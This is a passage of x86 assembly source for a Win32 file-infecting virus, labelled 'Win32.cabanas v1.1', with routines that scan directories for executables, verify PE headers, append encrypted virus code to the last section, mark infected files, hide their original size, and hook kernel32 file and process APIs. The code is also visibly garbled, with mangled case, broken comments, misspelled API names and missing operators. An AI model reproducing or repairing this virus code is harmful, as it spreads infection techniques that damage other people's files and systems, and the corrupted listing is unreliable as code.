And Byte Ptr [ESI.HIB - 2], Not (Mask Rd_RelocTy Shr 8); Nulify Relocation!
n_next_reloc:
LOOP NUL_RELOCS; Get Next Relocation Item
RET
Mark_reloc:
Call get_relocs
Go_POPAD:
Popad
XCHG ECX, Eax; Size of this Chunk of Code
Add edi, [ebp.pushad_ebx]; Convert RVA Start of Chunk of Code to a Raw Value
Sub edi, [ebp.pushad_edX]
pre_crypt:
Lodsb; Encrypt Chunk of Code ..
XCHG [EDI], Al
Ror Al, Cl
Inc EDI
XOR Al, 06ah
_xor_2nd_val = byte PTR $ - 1
MOV [ESI-1], Al
Loop pre_crypt
Lodsw; get next chunk of code
CWDE
POP EDI
XCHG ECX, EAX; NO MORE ChunKz?
Jecxz pre_crypt_done
Sub EDI, ECX; Point Edi to Next Chunk
JMP Nulify_Relocs; Check Relocationz, Jump
pre_crypt_done:
SUB Al, -0e8h; build 'call' Instruction
POP EDI
Stosb
Lea Eax, [EAX GET_BASE - CODE_START - 4 - 0E8H ESI];
Sub Eax, EDI
Stosd
MOV CX, (v_end - code_start 3) / 4
Add Eax, EDI
Mov EDI, [EBP.cPushad.cpushad.pushad_eax]; Get Start of Virus Code
Mov edx, [ebp.cpushad.cpushad.pushad_edx]; get Embedded Base
XCHG ESI, EDI
Rep Movsd; COPY Virus Code
SUB ECX, [ebp.cpushad.pushad_eax]
MOV [ebp.cpushad.pushad_edi], EDI
Add ECX, -5
MOV [EAX OLD_BASE - GET_BASE], EDX; Hardcode Some Valuez ..
MOV [EAX DELTA_HOST - GET_BASE], ECX
Popad
Popad
x = image_sizeof_section_header
Sub EDI, ECX; Change Characteristicz of Last Section in The Pe Header..le ECX, [EDX EDI]
XCHG EDX, EAX
INC EAX
CDQ; EDX = 0
XCHG ECX, EAX
Div ECX; Calculate New Size of Last Section
Mul ECX
XCHG Eax, EDI
MOV ECX, [ESI.NT_OPTIONALHEADER.OH_SECTIONALIGNMENT - MZ_LFANEW]
SUB EAX, V_END - Virtual_END
CMP [EBX.SH_VIRTUALSIZE - X], EAX; Calculate New Virtual Size of Last Section
JNC N_VIR
MOV [ebx.sh_virtualsize - x], eax
N_vir: DEC EAX
MOV [EBX.SH_SIZEOFRAWDATA - X], EDI; UPDATE SIZE OF LAST Section
Add Eax, ECX
Div ECX
Mul ECX
POP EBP; GET Original File Size
Add Eax, [EBX.SH_VIRTUALADDRESS - X]
CMP [ESI.NT_OPTIONALHEADER.OH_SIHOFIMAGE - MZ_LFANEW], EAX; Update Size of Image Field in The PE Header
JNC N_IMG
MOV [ESI.NT_OPTIONALHEADER.OH_SIZEOFIMAGE - MZ_LFANEW], EAX
n_img: add edi, [ebx.sh_pointertorawdata - x]
SUB ECX, ECX
OR BYTE PTR [EBX.SH_CHARACTERISTICS.HIW.HIB - X], 0C0H; Change Section Flagz
Push EBP
Mov Eax, [ESI.NT_OPTIONALHEADER.OH_CHECKSUM - MZ_LFANEW]; Calculate Special Checksum to Mark Infected Filez
XOR EBP, EAX
Add Al, -2DH
XOR EBP, 0B2FD26A3H XOR 0D4000000H
Not al
XOR Al, AH
SHL EBP, 6
XOR Al, Byte Ptr [ESI.NT_OPTIONALHEADER.OH_CHECKSUM.HIW - MZ_LFANEW]
SHR Al, 2
SHLD EAX, EBP, 3 * 8 2
MOV [ESI.NT_FILEHEADER.FH_TIMEDATESTAMP - MZ_LFANEW], EAX; Store Checksum Value
POP EAX; Get Original File Size
MOV CL, 65H
CMP EAX, EDI; Calculate New File Size ..
.IF carry?
Xchg EDI, EAX
.endif
SUB EAX, 1 - 65H
Div ECX
Mul Ecx; use size paddin ..
Push EAX
End_attach:
Popad
NEEDED_RET:
RET
Attach Endp
Process_dir:; this function receivers a Pointer to an asciiz string
Containin a Path, Then IT Searches Filez with an extension
Matchin the list of extensionz, and finaly infects.
; on entry :; edi = Pointer to Pathname
EAX = Size of Pathname
Dec EAX
CMP EAX, 7FH
JNC Needed_ret; if Pathname Greater Than 7fh Characterz, Jump
Pushhad
MOV ESI, EDI
ADC EDI, EAX
CLD
MOV Al, '/'; add '/' to the pathname if not included
CMP [EDI-1], Al
JZ Find_Filez
Stosb
Find_filez:; Find Filez in the specified pathname ..
Push EDI
SUB EAX, '/' - '*. *'
Stosd
Call Findfirst; Find Each File "*. *" in The Path
POP EDI
JZ end_attach; if error, jump
Dec EAX
Push Eax; Save Search Handle
Process_file:; a File Was Found, Process IT
Push EDI
Lea ESI, [EBX.WFD_SZFILENAME]; GET FileName
Call process_file3; process file, infect it
Find_next:
POP EDI
POP EAX
Push EAX
Push EBX
Push EAX
Call [EBP DDFINDNEXTFILEA - EBP_NUM]; Find Next File
TEST EAX, EAX; more filez?
JNZ Process_File; Yea, Process IT, JUMP
FIND_CLOSE:
Call [EBP DDFINDCLOSE - EBP_NUM]; Close Search
END_FIND:
END_PROCESS_DIR:
Popad
RET
Apicall @ n_2: MOV CL, 2; Call An API AND Pass Two Parameterz
Apicall @ n proc; this function calls an API AND PaSSES "N" Parameterz
as argumentz
On Entry:
EAX = API Function Adression
ECX = Number of Paremeterz
Pushfd
Movzx EDX, CL
MOV ECX, EDX
Push_args: Push DWORD PTR [ESP. (2 * pshd) 4 * Edx]; Push Parameter
Loop push_args
Call Eax; Call API
POPFD
RET
Apicall @ n endp
IgetProcadDressit:
POP EDX
Push EAX
Lea Eax, [EBP VSZKERNEL32 - EBP_NUM]
Push EAX
Push Edx
GetProcaddressit Proc; Gets a Pointer to an API Function from the import Table
; (The Object Inspected Is in Raw Form, I.E. Memory-Maped)
On Entry:
; TOS 08H (Arg2): API Function Name
; TOS 04H (Arg1): Module Name
; TOS 00h (Return AdRess); on exit:
Eax = RVA Pointer to Iat Entry
EAX = 0, if not found
Pushhad
Lea ESI, [ECX.MZ_LFANEW]
MOV EBP, ECX; Get Kernel32 Module Handle
Add ESI, [ESI]; GET Address of PE Header MZ_LFANEW
MOV ECX, [ESI.NT_OPTIONALHEADER /; GET SIZE OF IMPORT DIRECTORY
.Oh_directoryentries /
.DE_IMPORT /
.Dd_size /
-Mz_lfanew]
Jecxz end_getprocaddressit2; if size is zero, no API imported!
MOV EAX, [ESI.NT_OPTIONALHEADER /; GET Address of Import Directory
.Oh_directoryentries /
.DE_IMPORT /
.Dd_virtualaddress /
-Mz_lfanew]
Call Rva2Raw; Find Size and Raw Start of Import Section
JECXZ End_GetProcaddressit
PUSH ESI
MOV EAX, [ESP. (PSHD) .pushad_ebp]
MOV [EAX IMPORTHDR - EBP_NUM], ECX; Save Raw Adression of Import Section Header for L8R USE
x = image_sizeof_import_descriptor
GET_DLL_NAME:; Scan Each Import Description Inside Import Section To Match Module Name Specified
POP ESI; Diference (if any) Between Start of Import Table and Start of Import Section
MOV ECX, [EBX.ESI.ID_NAME]; Get RVA Pointer to Imported Module Name
End_getprocaddressit2:
JECXZ END_GETPROCADDRESSIT; END OF IMPORT DESCRIPTORZ?
SUB ECX, EDX; Convert RVA Pointer to Raw
CMP ECX, EBP; Check if IT Points Inside Section
Jae End_GetProcaddressit
SUB ESI, -X
Push ESI; Save Next Import Descriptor for Later Retrieval
Lea ESI, [EBX ECX]
MOV EDI, [ESP. (Pshd) .cpushad.arg1]; Get Module Name Specified from Arg1
Next_char_from_dll:; do a char by char comparison with module name found inside second
Stop when a null or a dot '.' is found
Lodsb
Add Al, - '.'
JZ IT_NUP; ITS A DOT
SUB Al, - '.' 'a'
CMP Al, 'Z' - 'A' 1
JAE NO_UP
Add Al, -20H; Convert to Upercaseno_up: Sub Al, - 'A'
IT_nup: scaSB
JNZ GET_DLL_NAME; Namez Dont Match, Get Next Import Descriptor
CMP Byte PTR [EDI-1], 0
Jnz next_char_from_dll
Found_dll_name:; WE Got The Import Descriptor Containin Specified Module Name
POP ESI
Lea Eax, [EDX ESI.ID_FORWARDERCHAIN - X]
Add ESI, EBX
MOV [ESP.PUSHAD_EDX], Eax; Store Pointer to Forwarderchain Field for Later USE
Mov [ESP.PUSHAD_ESI], ESI; Store Pointer To Import Descriptor for Later Use
Push DWORD PTR [ESP.CPUSHAD.ARG2]
MOV EAX, [ESP. (PSHD) .pushad_ebp]
Push DWORD PTR [EAX K32MOD - EBP_NUM]
Call getProcaddresset; Scan Export Table of Specified Module Handle
Xchg Eax, Ecx; and get function adress of specific API
Mov ECX, [ESI.ID_Firstthunk - x]; this is neededed just in case the API Function AdRessz Arezet in the IAT
JECXZ END_GETPROCADDITITIT; if Not Found The Go, this Value Cant Be Zero or The IAT Wont BE PATCHED
Push EAX
Call getProcadDriat; Inspect First Thunk (Which Later Will Be Patch by The Loader)
Test Eax, EAX
JNZ IAT_FOUND; if Found Then Jump (Save IT and Go)
Mov ECX, [ESI.ID_ORIGINALFIRSTHUNK - X]; Get Original Thunk (Which Later Will Hold The Original Unpatch IAT)
JECXZ END_GETPROCADDRESSITIT; if Not Found The GO, this Value Could Be Zero
Push EAX
Call getProcadDriat; Inspect Original Thunk
Test Eax, EAX
JZ IAT_FOUND; JUMP IF NOT FOUND
Sub Eax, Ecx; We Got The Pointer
Add Eax, [ESI.ID_Firstthunk - x]; Convert It To RVA
DB 6BH, 33H, 0C0H; Imul ESI, [EBX], - 0C0H; I Like Bizarre Thingz = 8p
ORG $ - 2
End_getprocaddressit:
DB 33H, 0C0H; XOR Eax, Eax; Error, AdRess Not Found
IAT_Found:
MOV [ESP.PUSHAD_EAX], EAX; Save Iat Entry Pointer
Popad
RET (2 * pshd); Jump and unwind Parameterz in Stack
Findfirst:; this function is just a wraper to the findfistfilea api ..
Lea EBX, [EBP FINDDATA - EBP_NUM]
Push ebx; args for findfirst
Push ESI; Args for Findfirst
Call [EBP DDFINDFIRSTFILEA - EBP_NUM]; CALL FINDFIRSTFILEA API
END_FINDFIRST:
INC EAX
CLD
RET
Get_size:; this function retrieves the file size and discards
Huge Filez, IT Also Sets Some Parameterz for L8R USE
On Entry:
EBX = Pointer to Win32_find_data structure
ON EXIT:
EAX = file size
ESI = POINTER TO FileName
Carry Clear: File OK
Carry set: File Too Large
XOR ECX, ECX
TEST BYTE PTR [EBX.WFD_DWFILEATTRIBUTES], File_Attribute_directory
JNZ get_size_ret; Discard Directory Entriez
MOV EDX, ECX
CMP [EBX.WFD_NFILESIGHIGH], EDX; Discard Hue Filez, Well if any Thaat Big (> 4GB)
MOV CL, 65H; Load Size Padin Value
Lea ESI, [EBP PATHNAME - EBP_NUM]; GET POIT POIT POINTER TO FILENAME
MOV EAX, [EBX.WFD_NFILESZELOW]; GET FILE SIZE
Get_size_ret:
RET
GetProcadDriat:; this function scans the image_thunk_data array of "dwords"
From the selected image_import_descriptor, searchin for
The SELECTED API Name. this function Works for Both
; Bound and UNBound Import Descriptorz. this function is
Called from inside getprocaddressit.
On Entry:
EBX = RAW Start Pointer of Import Section
ECX = RVA POINTER TO image_thunk_Array
Edx = RVA Start Pointer Of Import Section
EDI = Pointer SELECTED API Function Name.
EBP = Raw Size of Import Section
; TOS 04H (Arg1): Real address of API Function Inside Select
Module (In Case The Descriptor is unbound).
; TOS 00h (Return AdRess)
ON EXIT:
Eax = RVA Pointer to Iat Entry
EAX = 0, if not found
Push ECX
Push ESISUB ECX, EDX
XOR EAX, EAX
CMP ECX, EBP
JAE IT_NOT_FOND
Lea ESI, [EBX ECX]; Get Raw Pointer to Image_thunk_Data Array
Next_thunk_dword:
Lodsd; Get DWORD VALUE
TEST EAX, EAX; END OF IMAGE_THUNK_DATA ARRAY?
JZ IT_NOT_FOND
NO_ORDINAL:
Sub Eax, EDX; Convert DWORD TO A RAW POINTER
CMP EAX, EBP; DWORD BELONGS TO AN UNBOUND Image Descriptor?
JB IT_Search; No, Jump
Add Eax, EDX; Yea, We Have The Api Adress Itself, Reconvert to RVA
CMP EAX, [ESP. (2 * pshd) .arg1]; API AdRessz match?
JMP it_found?; yea, we found it, jump
IT_SEARCH:
Push ESI; Image Descriptor Contains Imports by Name
Lea ESI, [EBX EAX.IBN_NAME]; Get API Name from Import Descriptor
Mov EDI, [ESP. (5 * pshd) .cpushad.arg2]; Get API Name SELECTED AS A parameter
IT_Next_Char:; Find Requested API from ALL IMPORTED API Namez ..
Cmpsb; Do Apiz Match?
JNZ IT_NEW_SEARCH; NO, Continue Searchin
IT_MATCHED_CHAR:
CMP Byte PTR [ESI-1], 0
JNZ IT_NEXT_CHAR
IT_NEW_SEARCH:
POP ESI; YEA, THEY MATCH, We Found IT
IT_FOUND ?:
JNZ next_thunk_dword
Lea Eax, [EDX ESI-4]; Get The Pointer to the New Iat Entry
Sub Eax, EBX; Convert It To RVA
IT_NOT_FOND:
POP ESI
POP ECX
RET (PSHD)
GetProcaddressit Endp
Check_pe_file:; this function Opens, Memory-Maps a file and checks
; if ITS a pe file
On Entry:
EBX = Pointer to Win32_find_data structure
ESI = POINTER TO FileName
ON EXIT:
ESI = 0, file already infected or not infectable
ESI! = 0, File Not Infected
Call Open & MapFile; Open and Memory-Map The File
JECXZ END_PE_FILE
MOV EAX, [EBX.WFD_NFILESZELOW]; GET FILE SIZE
Add Eax, -80h
JNC Close_File; File TOO SHORT?
CHECK_PE_SIGN:; this function checks validity of a pe file.
On Entry:
; Ecx = base address of memory-maped file; ebx = pointer to win32_find_data structure
EAX = Host File Size - 80H
ON EXIT:
ESI = 0, file already infected or not infectable
ESI! = 0, File Not Infected
CMP Word PTR [ECX], Image_DOS_SIGNATURE; Needs MZ Signature
JNZ Close_File
MOV EDI, [ECX.MZ_LFANEW]; GET PTR TO New EXE FORMAT
CMP EAX, EDI; PTR OUT OF RANGE?
JB Close_File
Add Edi, ECX
CMP DWORD PTR [EDI], Image_NT_SIGNATURE; Check PE SIGNATURE
JNZ Close_File
CMP Word Ptr [edi.nt_fileHeader.fh_Machine], /; MUST BE 386 Machine
Image_file_machine_i386
JNZ Close_File
Mov Eax, DWORD PTR [edi.nt_fileheader.fh_characteristics]
Not al
Test AX, image_file_executable_image or /; Must Have The Executable Bit But Cant Be a DLL
Image_file_dll
JNZ Close_File
At this point, Calculate Virus Checksum To Make Sure File Is Really
Infected. if its infected the return Original Size of Host Previous
To Infection and Store IT IN The Win32_Find_Data Structure (Stealth).
Mov Eax, [edi.nt_optionalheader.oh_checksum]; Get Checksum Field
Push EAX
SUB Al, 2DH; Calculate Virus Checksum To Make Sure File IS Really Infected
XOR AH, Al
MOV Al, [edi.nt_fileHeader.fh_timedatestamp.hiw.hib]
XOR AH, Byte Ptr [edi.nt_optionalheader.oh_checksum.hiw]
And Al, 11111100B
XOR AH, Al
MOV [EBP UNI_OR_ANSI - EBP_NUM], AH
Inc AH
POP EAX
JNZ Go_esi
XOR EAX, 0B2FD26A3H XOR 68000000H
xor eax, [edi.nt_fileHeader.fh_timedatestamp]
And Eax, 03fffffh
Cmp Eax, [ebx.wfd_nfilesizerow]
JNC Go_esi
Mov [EBX.WFD_NFILESZELOW], EAX; Return Original File Size
GO_ESI: INC ESI; SET "already infected" Mark
Close_file:
Call Close & Unmapfile; Close and Unmaps File
END_PE_FILE:
Dec ESI
RET
Pop_ebp:; get the ebp_num value needed to access Variablez Thru EBPPOP EBP
IF (EBP_NUM - M_EBP)
LEA EBP, [EBP EBP_NUM - M_EBP]
ENDIF
MOV [EBP UNI_OR_ANSI - EBP_NUM], Al
CLD
Another_ret:
RET
Process_file2:; this function checks the file size, retrieves some key API
Adressez from Inside The Import Table and Infects The File.
On Entry:
EBX = Pointer to Win32_find_data structure
ESI = POINTER TO FileName
CALL GET_SIZE
JNZ Another_ret; if File Size Too Short, Jump
CMP EAX, 4000000H - 10 * 1024
JNC Another_ret; if File Size Too Large (> 64MB), JUMP
Div ECX; Check Infection Thru size Paddin
Dec edx
JS Another_ret; already infected, jump
Call check_pe_file; open file, Check PE Signature and Close File
JNZ Another_ret; Not Valid PE File, Jump
Inc Byte PTR [EBP UNI_OR_ANSI - EBP_NUM]; Double-Check File
JZ Another_Ret; Discard if Infected
Bless:; this function preparees the host file for infection: blank file
Atributez, Open and Map File In R / W Mode, Retrieves RVA Pointerz
To getModuleHandlea, GetModuleHandlew and getProcaddress, Call
; "attach" function to infect the file and finaly restore
Date / Time Stamp and Attributez
PUSH ESI
Lea ESI, [EBP PATHNAME - EBP_NUM]; GET POIT POIT POINTER TO FILENAME
PUSH ESI
Call [EBP DDSETFILEATTRIBUTESA - EBP_NUM]; Blank File Atributez
XCHG ECX, EAX
Jecxz Another_ret; if Error, Jump, IF Disk is Write-Protected for Example
PUSH ESI
Mov Edi, Virtual_END - CODE_START; CALCULATE BUFFER SIZE NEDED INFECTION
Add edi, [ebx.wfd_nfilesizelow]; add to Original Size
Call Open & MapFileAdj; Open and Map File in Read / Write Mode
JECXZ END_BLESS2; if any error, if File is locked for example, jump
Lea EAX, [EBP VSZGETMODULEHANDLEA - EBP_NUM] Call IgetProcaddressit; Get RVA Pointer to getModuleHandlea API in the import Table
Test ESI, ESI
JZ END_BLESS3; if kernel32 Import Descriptor Not Found, Dont Infect
x = image_sizeof_import_descriptor
MOV [EBP PTRFORWARDERCHAIN - EBP_NUM], EDX; Store RVA Pointer To Forwarderchain Field from Kernel32 Import Descriptor
Mov Edx, [ESI.ID_Forwarderchain - x]
MOV [EBP DDGETMODULEHANDLEA - EBP_NUM], EAX; Store RVA Pointer To GetModuleHandlea API
MOV [EBP DDFORWARDERCHAIN - EBP_NUM], EDX; Store Actual Forwarderchain Field Value from Kernel32 Import Descriptor
CDQ; EDX = 0
Dec Eax; if rva pointer to getModuleHandlea Found, Jump and store null for getModuleHandlew RVA Pointer (Not needed)
JNS StoreHandlew
Lea Eax, [EBP VSZGETMODULEHANDLEW - EBP_NUM]
Call IgetProcaddressit; Get RVA Pointer To GetProcaddress API in the import TABLE
XCHG EAX, EDX
Test EDX, EDX; if Found, Jump and Store getModuleHandlew RVA Pointer
Jnz StoreHandlew
CMP [esi.id_timedatestamp - x], edx; shit, not found, now check if kernel32 API AdRessez Arez Arez is Binded
JZ StoreHandlew
Cmp Edx, [ESI.ID_ORIGINALFIRSTHUNK - X]
JZ end_blest3
MOV [esi.id_timedatestamp - x], EDX
StoreHandlew:
MOV [EBP DDGETMODULEHANDLEW - EBP_NUM], EDX; Store RVA Pointer To GetModuleHandlew API
Lea Eax, [EBP VSZGETPROCADDRESS - EBP_NUM]
Call IgetProcaddressit; Get RVA Pointer to getModuleHandlea API in the import table
MOV [EBP DDGETPROCADDRESS - EBP_NUM], EAX; Store RVA Pointer To GetModuleHandlew API IF Found, Store Zero if not found Anywayz
Call attach; infect file
At this point:
ECX = host base adress, Start of Memory-Maped File
EDI = Original File Size
END_BLESS3:
Call Close & UnmapfileAdj; Close, Unmap File And Restore Other Setingz if nesenet_ble2:
POP ESI; GET POINTER TO FileName
MOV ECX, [EBX.WFD_DWFILEATTRIBUTES]; Get Original File Atributez
JECXZ END_BLESS1
Push ECX
PUSH ESI
Call [EBP DDSETFILEATTRIBUTESA - EBP_NUM]; Restore Original File Atributez
END_BLESS1:
END_PROCESS_FILE2:
RET
GetProcaddresset Proc; this function is similar to getProcaddressit Except
; That IT Looks for API Functions in the export table
; ly a given dll module. It has the same functionality
As the Original GetProcaddress API Exported from
Kernel32 Except That It Is Able To Find API
Functions exported by Ordinal from kernel32.
On Entry:
; TOS 08H (Arg2): pszapiname (Pointer to API Name)
; TOS 04H (Arg1): Module Handle / Base Address of Module
; TOS 00h (Return AdRess)
ON EXIT:
ECX = API Function Address
ECX = 0, if not found
Pushhad
@Seh_setupframe
Mov Eax, [ESP. (2 * pshd) .cpushad.arg1]; Get Module Handle from Arg1
MOV EBX, EAX
Add eax, [eax.mz_lfanew]; get address of pehader
Mov ECX, [Eax.nt_OptionalHeader /; Get Size Of Export Directory
.Oh_directoryentries /
.De_export /
.Dd_size]
Jecxz proc_address_not_found; size is zero, no API exported
MOV EBP, EBX; Get Address Of Export Directory
Add EBP, [Eax.nt_OptionalHeader /
.Oh_directoryentries /
.De_export /
.Dd_virtualaddress]
IFDef Ordinal
MOV EAX, [ESP. (2 * pshd) .cpushad.arg2]; Get Address of Requested API from arg2
Test Eax, -10000h; Check if arg2 is an ot
JZ ITS_API_ORDINAL
ENDIF
ITS_API_NAME:
Push ECX
MOV EDX, EBX; Get Address of Exported API Namez
Add edx, [ebp.ed_addressofnames]
MOV ECX, [EBP.ED_NUMBEROFNAMES]; GET NUMBER OF EXPORTED API Namez
XOR EAX, EAX
CLD
Search_for_api_name: MOV ESI, EBX; Get Address of Next Exported API Name
Add ESI, [EDX EAX * 4]
MOV EDI, [ESP. (3 * pshd) .cpushad.arg2]; Get Address of Requested API Name from Arg2
Next_char_in_api_name:
CMPSB; Find Requested API from ALL Exported API Namez
JZ matched_char_in_api_name
INC EAX
Loop search_for_api_name
POP EAX
PROC_ADDRESS_NOT_FOND:
XOR Eax, Eax; API NOT FOUND
JMP END_GETPROCADDRESSET
IFDef Ordinal
ITS_API_ORDINAL:
Sub Eax, [EBP.ED_BASEORDINAL]; NORMALIZE ORDINAL, I.E. Convert it to an an index
JMP CHECK_INDEX
ENDIF
Matched_char_in_api_name:
CMP BYTE PTR [ESI-1], 0; END OF API NAME REACHED?
JNZ next_char_in_api_name
POP ECX
MOV EDX, EBX; Get Address of Exported API Ordinalz
Add edx, [ebp.ed_addressofordinals]
Movzx Eax, Word PTR [EDX EAX * 2]; GET INDEX INTO EXPORTED API FunctionZ
Check_index:
CMP EAX, [EBP.ED_NUMBEROFFUNCTIONS]; Check for out of Range INDEX
JAE Proc_Address_not_found
MOV EDX, EBX; Get Address of Exported API FunctionZ
Add Edx, [EBP.ED_ADDRESSOFFUNCTIONS]
Add EBX, [EDX EAX * 4]; Get Address of Requested API Function
MOV EAX, EBX
SUB EBX, EBP; Take Care of Forwarded API FunctionZ
CMP EBX, ECX
JB proc_address_not_found
End_getprocaddresset:
MOV [ESP. (2 * pshd) .pushad_ecx], EAX; Set Requested Proc address, if Found
@Seh_removeframe
Popad
JMP Ret2PSHD
GetProcaddresset ENDP
Goto_getProcaddresset:
JMP getProcAddresset
MygetProcaddressk32:; this function is simply a wraper to the getprocaddress
; API. It Retrieves The Address of An API Function
Exported from kenel32.
On Entry:
EBX = kernel32 Module Handle
ESI = pszapiname (Pointer to API Name)
ON EXIT:
ECX = API Function Address
ECX = 0, if not found
POP EAX
PUSH ESI
Push EBX
Push EaxMygetProcaddress Proc; this function retrieves API adressez from kernel32
Mov ECX ,?; this Dynamic Variable Will Hold An RVA Pointer to the getProcaddress API in The IAT
DDGETPROCADDRESS = DWORD PTR $ - 4
JECXZ GOTO_GETPROCADDRESSET
PUSH ESI
Push EBX
Add ECX, [EBP Phost_HDR - EBP_NUM]
Call [ECX]; Call The Original GetProcaddress API
XCHG ECX, EAX
JECXZ GOTO_GETPROCADDRESSET; if Error, Call My OWN GETPROCADDRESS FUNCTION
Ret2pshd:
Ret (2 * pshd)
MygetProcaddress Endp
MygetModuleHandlew:; this function retrieves the base address / module handle
; Of kernel32 module previosly loading to memory asumin
; getModuleHandlew API WAS Found in the import
Table of the host
Mov ECX, THIS DYNAMIC VARIABLE WILL HOLD An RVA Pointer to The getModuleHandlew API in the IAT
DDGETMODULEHANDLEW = DWORD PTR $ - 4
JMP MygetModuleHandle
MygetModuleHandlea:; this function retrieves the base address / module handle
; Of kernel32 module previosly loading to memory asumin
The getModuleHandlea API WAS Found in The Import
Table of the host
Mov ecx ,?; this Dynamic Variable Will Hold An RVA Pointer to the getModuleHandlea API in the IAT
DDGETMODULEHANDLEA = DWORD PTR $ - 4
MygetModuleHandle Proc; This Function Retrieves The Base AdRess of kernel32
On Entry:
; ECX = RVA Pointer to getModuleHandle (A / W) in the IAT
; TOS 04H (Arg1): Pointer to Kernel32 Module Name
; TOS 00h (Return AdRess)
ON EXIT:
; Zero Flag Set = Base AdRess Not Found
; Zero flag clear = base adression
EAX = kernel32 base adress
SUB EAX, Eax; Set Zero Flag
POP EBX; GET RETURN AdRess
POP Eax; Arg1
Push EBX; Push Return AdRess
MOV EBX, [EBP Phost_HDR - EBP_NUM]; Get Actual Host Base AdRess
Jecxz end_mygetmodulehandle; if not valid getModuleHandle (A / W) RVA, JUMP
Push EAX
Call [EBX ECX]; CALL GETMODULEHANDLE (A / W) API
CHK_0: Inc EAX
JZ end_mygetmodulehandle; if any error, not found, jump
Dec EAX
END_MYGETMODULEHANDLE:
RET
MygetModuleHandlex:; this function retrieves the kernel32 base adress
; via an undocumented method. this function procedure
Doesnt Work in Winblowz NT
MOV EAX, [EBX 12345678H]
Ptrforwarderchain = DWORD PTR $ - 4
CMP EAX, 12345678H
DDFORWARDERCHAIN = DWORD PTR $ - 4
JNZ ChK_0
RET
MygetModuleHandle Endp
GET_EBP2: MOV Al, 0
JNC Get_EBP; Clear Carry (Unicode Version)
Dec Eax; Clear Set (ANSI Version)
GET_EBP: CALL POP_EBP
m_ebp:
v_end:; virus code ends here
Uninitialized Data; Thase Variablez Will Be Adred in Memory, But Dont Waste Space In The File
Importhdr dd?; Import Table RVA of current Host
PCODETABLE DD?; Pointer to Encrypted Chunkz of Code; these 2 Variables May Overlap.
ORG $ - 4; One IS Used At Instalation Stage,
PHANDLEZ DD?; Pointer to Top of Handlez Table; The Other ONE Used When Resident.
PhoSt_HDR DD?; Pointer to Actual Base Adression of Host
Pcode_Start Dd?; Pointer to Start of Virus Code / Data In Memory
K32MOD DD?; Kernel32 base adress
DDGETPROCADDRESS2 DD?; AdRess WHERE GetProcaddress API Will Be Stored; these 2 Variables May Overlap.
ORG $ - 4; One IS Used At Instalation Stage,
PPathNamez Dd?; PoinTo Top of Pathnamez Table; The Other One Used When Resident.
PNEWAPIS DD?; Pointer To New API Entry in the Jump Table
UNI_OR_ANSI DB?; Needed to Diferentiate Unicode from Ansi Stringz
FunctionAdRessez:; this dwordz will hold the API Function AdRessez buy by the Virus
DDCREATEFILEA DD?
DDCREATEFILEW DD?
DDFINDCLOSE DD? DDFINDFIRSTFILEA DD?
DDFINDFIRSTFILEW DD?
DDFINDNEXTFILEA DD?
DDFINDNEXTFILEW DD?
DDSETFILEATTRIBUTESA DD?
DDSETFILEATTRIBUTESW DD?
DDCLOSEHANDLE DD?
DDCREATEFILEMAPPINGA DD?
DDMAPVIEWOFFILE DD?
DDUNMAPVIEWOFFILE DD?
DDSETFILEPOINTER DD?
DDSETENDOFFILE DD?
DDSETFILETIME DD?
DDGETWINDOWSDIRECTORYA DD?
DDGETSYSTEMDIRECTORYA DD?
DDGETCURRENTPROCESS DD?
DDGETMODULEFILENAME DD?
DDWRITEPROCESSMORY DD?
DDWIDECHARTOMULTIBYTE DD?
DDVIRTUALLOC DD?
v_stringz:; the Api namez buy by the Virus Are Decrypted Here
vszkernel32 db 'kernel32', 0
VszgetModuleHandlea DB 'getModuleHandlea', 0
vszgetModuleHandlew DB 'getModuleHandlew', 0
EXTS DB 'FXETCR'; List of Extensionz to Infect
DB 0
FunctionNamez2:; Resident API Namez, Needed for Dynamically API Hookin
vszgetProcaddress DB 'getProcaddress', 0
vszgetfileAttributesa db 'getfileattributesa', 0
vszgetfileAttributesw db 'getfileattributesw', 0
vszmovefileexa db 'movefileexa', 0
vszmovefileexw db 'movefileexw', 0
VSZ_LOPEN DB '_LOPEN', 0
VSZCopyFilea DB 'CopyFilea', 0
VSZCopyFilew DB 'CopyFilew', 0
vszopenfile db 'openfile', 0
Vszmovefilea DB 'Movefilea', 0
VszmoveFilew DB 'MoveFilew', 0
VszcreateProcessa DB 'CreateProcessa', 0
VszcreateProcessw DB 'CreateProcessw', 0
FunctionNamez:
VSZCREATEFILEA DB 'CREATEFILEA', 0
vszcreatefilew db 'createfilew', 0
VSZFindClose DB 'FindClose', 0
vszfindfirstfilea db 'findfirstfilea, 0
vszfindfirstfilew db 'fatfirstfilew', 0
VSZFindNextFilea DB 'FindnextFilea', 0
vszfindnextfilew db 'findnextfilew', 0
VSZSETFileAttributesa DB 'SetFileAttributesa', 0VSZSETFileAttributesw DB 'setFileAttributesw', 0
Non_res:; non-resident API Namez
vszclosehandle db 'closehandle', 0
vszcreatefilemappinga db 'createfilemappinga, 0
vszmapviewoffile db 'mappviewoffile', 0
vszunmapviewoffile db 'unmapviewoffile', 0
vszsetfilepointer db 'setfilepointer', 0
vszseetendoffile db 'setndoffile', 0
vszsetfiletime db 'setfiletime', 0
vszgetWindowsDirectory DB 'getWindowsDirectorya', 0
VszgetsystemDirectory DB 'getSystemDirectorya', 0
vszgetcurrentprocess db 'getcurrentprocess', 0
vszgetmodulefilename db 'getModuleFileNamea', 0
vszwriteprocessMemory DB 'WriteProcessMemory', 0
vszwidechartomultibyte db 'widechartomultibyte', 0
VSZVIRTUALLOC DB 'Virtualalloc', 0
EndoffunctionNamez DB 0
Szcopyright DB "(c) Win32.cabanas v1.1 by jqwerty / 29a.", 0
ORG (Non_RES 1)
v_end2:
NEWAPITABLE DB NAPIS DUP (?)
Finddata Win32_Find_Data?; This Structure Will Hold Data Retrieved TRHU FINDFIRST / NEXT APIZ
Pathname DB MAX_PATH DUP (?); FileNamez Will Be Stored Here for Infection
Virtual_end:; End of Virus Virtual Memory Space (in PE Filez)
Handlez DB Nhandlez DUP (?); Handlez Table
Pathnamez DB Npathnamez DUP (?); Pathnamez Table
Virtual_end2:; End of Virus Virtual Memory Space (In Flat Memory)
First_Generation:; this Routine Will Be Called Only Only from the first generation sample,
IT INIZES SOME VARIABLES NEDED by The Virus in The First Run.
Jumps
Push null
Call getModuleHandlea
Test Eax, EAX
JZ EXIT
XCHG ECX, EAX
Call Ref
Ref: POP EBX
MOV EAX, EBX
Sub Eax, Ref - Host
Sub Eax, ECX
Sub eax, [add_1st_val]
MOV [EBX CODE_TABLE - REF], EAX
MOV Al, 6ah
Ror Al, 1
XOR Al, [XOR_2ND_VAL]
